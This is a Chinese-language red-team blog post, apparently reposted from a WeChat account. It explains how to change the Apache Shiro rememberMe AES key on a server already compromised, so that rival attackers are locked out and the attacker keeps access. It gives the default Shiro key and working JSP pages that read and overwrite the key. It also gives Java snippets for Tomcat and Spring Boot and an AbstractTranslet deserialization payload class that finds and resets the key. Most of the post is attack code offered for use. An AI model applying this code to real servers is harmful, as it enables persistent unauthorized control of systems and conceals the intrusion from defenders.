适用场景
平时在做一些项目时,打点时发现Shiro反序列化漏洞后却不想其他攻击队通过此入口进来时,就需要修改Shiro的密钥了。
如何修改密钥
首先大概了解一下Shiro反序列化漏洞,Shiro的反序列化出现在”记住我”的功能中,用来储存用户登录状态信息,实现自动登录,登录状态序列化后储存到cookie中。
Shiro默认使用了CookieRememberMeManager,反序列化经过的路径为,Cookie获取rememebrMe值->base64解码->AES解密->反序列。路径中其中最重要的就是AES解密,所以Shiro这洞是需要知道目标的AES密钥才能利用,在低版本(小于1.2.4)中如果开发者没有手动设置密钥,那么会使用默认密钥kPH+bIxk5D2deZiIxcaaaA==,如果默认密钥不正确也可以继续尝试Shiro 100Keys,在高版本中如果开发者没有手动设置密钥那么每次服务启动时都会随机生成一个密钥。
再回到改密钥的问题中,如果是常规的通过修改文件密钥后需要重启服务比较拉跨,最好的方式还是通过代码执行获取到cookieRememberMeManager然后调用它的setCipherKey方法直接修改密钥。
那么现在问题在于如何获取到服务启动时生成的cookieRememberMeManager,
public class DefaultWebSecurityManager extends DefaultSecurityManager implements WebSecurityManager {
private static final Logger log = LoggerFactory.getLogger(DefaultWebSecurityManager.class);
/** @deprecated */
@Deprecated
public static final String HTTP_SESSION_MODE = "http";
/** @deprecated */
@Deprecated
public static final String NATIVE_SESSION_MODE = "native";
/** @deprecated */
@Deprecated
private String sessionMode;
public DefaultWebSecurityManager() {
((DefaultSubjectDAO)this.subjectDAO).setSessionStorageEvaluator(new DefaultWebSessionStorageEvaluator());
this.sessionMode = "http";
this.setSubjectFactory(new DefaultWebSubjectFactory());
this.setRememberMeManager(new CookieRememberMeManager());
this.setSessionManager(new ServletContainerSessionManager());
}
在服务启动时,会调用DefaultWebSecurityManager#setRememberMeManager方法将cookieRememberMeManager保存到DefaultSecurityManager的rememberMeManager属性中。
那么只要能获取到DefaultWebSecurityManager再获取rememberMeManager属性即可。
protected WebSecurityManager createWebSecurityManager() {
Ini ini = this.getIni();
WebIniSecurityManagerFactory factory;
if (CollectionUtils.isEmpty(ini)) {
factory = new WebIniSecurityManagerFactory();
} else {
factory = new WebIniSecurityManagerFactory(ini);
}
WebSecurityManager wsm = (WebSecurityManager)factory.getInstance();
Map<String, ?> beans = factory.getBeans();
if (!CollectionUtils.isEmpty(beans)) {
this.objects.putAll(beans);
}
return wsm;
}
IniWebEnvironment#createWebSecurityManager方法中,在服务启动时通过工厂模式生成了WebSecurityManagaer后,put保存到DefaultEnvironment的objects属性中,如果能获取到Environment就能获取到WebSecurityManagaer。
org.apache.shiro.web.util.WebUtils
public static WebEnvironment getRequiredWebEnvironment(ServletContext sc) throws IllegalStateException {
WebEnvironment we = getWebEnvironment(sc);
if (we == null) {
throw new IllegalStateException("No WebEnvironment found: no EnvironmentLoaderListener registered?");
} else {
return we;
}
}
提供了一个static方法WebEnvironment,能够根据servletcontext获取到WebEnvironment,在WebEnvironment中又直接提供了getWebSecurityManager方法。
public WebSecurityManager getWebSecurityManager() {
SecurityManager sm = super.getSecurityManager();
this.assertWebSecurityManager(sm);
return (WebSecurityManager)sm;
}
getWebSecurityManager方法中最后调用了lookupSecurityManager方法获取SecurityManager,其实也就是从DefaultEnvironment的objects属性中获取的。
protected SecurityManager lookupSecurityManager() {
String name = this.getSecurityManagerName();
return (SecurityManager)this.getObject(name, SecurityManager.class);
}
获取到WebSecurityManager后就很简单了,通过反射获取父类DefaultWebSecurityManager的rememberMeManager属性,再调用setCipherKey。
如果是通过其他漏洞拿下的权限,需要知道此时shiro的密钥做权限维持等操作时,就调用getCipherKey获取。
JSP版本
<%@ page import="org.apache.shiro.web.mgt.CookieRememberMeManager" %>
<%@ page import="org.apache.shiro.web.mgt.WebSecurityManager" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="sun.misc.BASE64Encoder" %>
<%@ page import="org.apache.shiro.web.env.WebEnvironment" %>
<%@ page import="org.apache.shiro.web.util.WebUtils" %><%
WebEnvironment env = WebUtils.getRequiredWebEnvironment(request.getServletContext());
WebSecurityManager webSecurityManager = env.getWebSecurityManager();
Field f = webSecurityManager.getClass().getSuperclass().getDeclaredField("rememberMeManager");
f.setAccessible(true);
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) f.get(webSecurityManager);
out.print(new BASE64Encoder().encode(cookieRememberMeManager.getCipherKey()));
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
%>
查看了下WebUtils.getRequiredWebEnvironment方法,最后调用的是getWebEnvironment方法
public static WebEnvironment getWebEnvironment(ServletContext sc) {
return getWebEnvironment(sc, EnvironmentLoader.ENVIRONMENT_ATTRIBUTE_KEY);
}
public static WebEnvironment getWebEnvironment(ServletContext sc, String attrName) {
if (sc == null) {
throw new IllegalArgumentException("ServletContext argument must not be null.");
} else {
Object attr = sc.getAttribute(attrName);
if (attr == null) {
return null;
} else if (attr instanceof RuntimeException) {
throw (RuntimeException)attr;
} else if (attr instanceof Error) {
throw (Error)attr;
} else if (attr instanceof Exception) {
throw new IllegalStateException((Exception)attr);
} else if (!(attr instanceof WebEnvironment)) {
throw new IllegalStateException("Context attribute is not of type WebEnvironment: " + attr);
} else {
return (WebEnvironment)attr;
}
}
}
其实也就是从servletcontext中获取的org.apache.shiro.web.env.EnvironmentLoader.ENVIRONMENT_ATTRIBUTE_KEY属性,就可以再改一版更方便的出来了。
<%@ page import="org.apache.shiro.web.mgt.CookieRememberMeManager" %>
<%@ page import="org.apache.shiro.web.mgt.WebSecurityManager" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="sun.misc.BASE64Encoder" %>
<%@ page import="org.apache.shiro.web.env.DefaultWebEnvironment" %>
<%@ page import="org.apache.shiro.web.mgt.DefaultWebSecurityManager" %>
<%
WebSecurityManager webSecurityManager = ((DefaultWebEnvironment)request.getServletContext().getAttribute("org.apache.shiro.web.env.EnvironmentLoader.ENVIRONMENT_ATTRIBUTE_KEY")).getObject("securityManager", DefaultWebSecurityManager.class);
Field f = webSecurityManager.getClass().getSuperclass().getDeclaredField("rememberMeManager");
f.setAccessible(true);
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) f.get(webSecurityManager);
out.print(new BASE64Encoder().encode(cookieRememberMeManager.getCipherKey()));
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
%>
最方便的还是直接借助shiro的反序列化执行JAVA代码修改密钥。
Method method;
try {
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
for(NamedObject namedObject : objectSet) {
DynamicMBean dynamicMBean = namedObject.getObject();
field = dynamicMBean.getClass().getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = obj.getClass().getSuperclass().getDeclaredField("context");
field.setAccessible(true);
Object standardContext = field.get(obj);
method = standardContext.getClass().getDeclaredMethod("getServletContext");
WebSecurityManager webSecurityManager = ((DefaultWebEnvironment)((ServletContext)method.invoke(standardContext)).getAttribute("org.apache.shiro.web.env.EnvironmentLoader.ENVIRONMENT_ATTRIBUTE_KEY")).getObject("securityManager", DefaultWebSecurityManager.class);
Field f = webSecurityManager.getClass().getSuperclass().getDeclaredField("rememberMeManager");
f.setAccessible(true);
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) f.get(webSecurityManager);
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
break;
}
}catch(Exception e){
}
在后期发现WebUtils.getRequiredWebEnvironment这种方式只能在Tomcat下使用,当环境为springboot时返回”No WebEnvironment found: no EnvironmentLoaderListener registered?”, 没有注册WebEnvironment。 Springboot就只能从其他路径来获取WebSecurity了,从context中依然能够拿到DefaultSecurityManager,原理都是差不多的,就不再多介绍了。
try {
ServletRequestAttributes s = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes());
Field field_req = s.getClass().getDeclaredField("request");
field_req.setAccessible(true);
ServletContext servletContext = ((RequestFacade) field_req.get(s)).getServletContext();
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext ac = (ApplicationContext) f.get(servletContext);
org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext w = (AnnotationConfigServletWebServerApplicationContext) ac.getAttribute("org.springframework.web.context.WebApplicationContext.ROOT");
f = Class.forName("org.springframework.beans.factory.support.DefaultSingletonBeanRegistry").getDeclaredField("singletonObjects");
f.setAccessible(true);
ConcurrentHashMap concurrentHashMap = (ConcurrentHashMap) f.get(w.getAutowireCapableBeanFactory());
DefaultSecurityManager defaultSecurityManager = (DefaultSecurityManager) concurrentHashMap.get("securityManager");
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) defaultSecurityManager.getRememberMeManager();
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
}catch(Exception e){
}
为了更通用一点能在大部分中间件下使用,可以参考以前的DFS回显改一版修改密钥的出来。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import sun.misc.BASE64Decoder;;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashSet;
public class DFS_edit_shiro_key extends AbstractTranslet {
static HashSet<Object> h;
static DefaultWebSecurityManager r;
public DFS_edit_shiro_key() throws IOException {
r = null;
h =new HashSet<Object>();
F(Thread.currentThread(),0);
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth) throws IOException {
if(depth > 52||(r !=null)){
return;
}
if(!i(o)){
if(r ==null&& DefaultWebSecurityManager.class.isAssignableFrom(o.getClass())){
r = (DefaultWebSecurityManager)o;
}
if(r != null){
CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) r.getRememberMeManager();
cookieRememberMeManager.setCipherKey(new BASE64Decoder().decodeBuffer("4AvVhmFLUs0KTA3Kprsdag=="));
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
最后
因为cipherkey用来加密序列化后的登录信息,修改了key后应该会导致之前业务上使用rememberMe自动登录的账户需要重新登录(感觉影响不大)。
参考
https://gist.github.com/fnmsd/4d9ed529ceb6c2a464f75c379dadd3a8
原文始发于微信公众号(安全攻防团队):通过代码执行修改Shiro密钥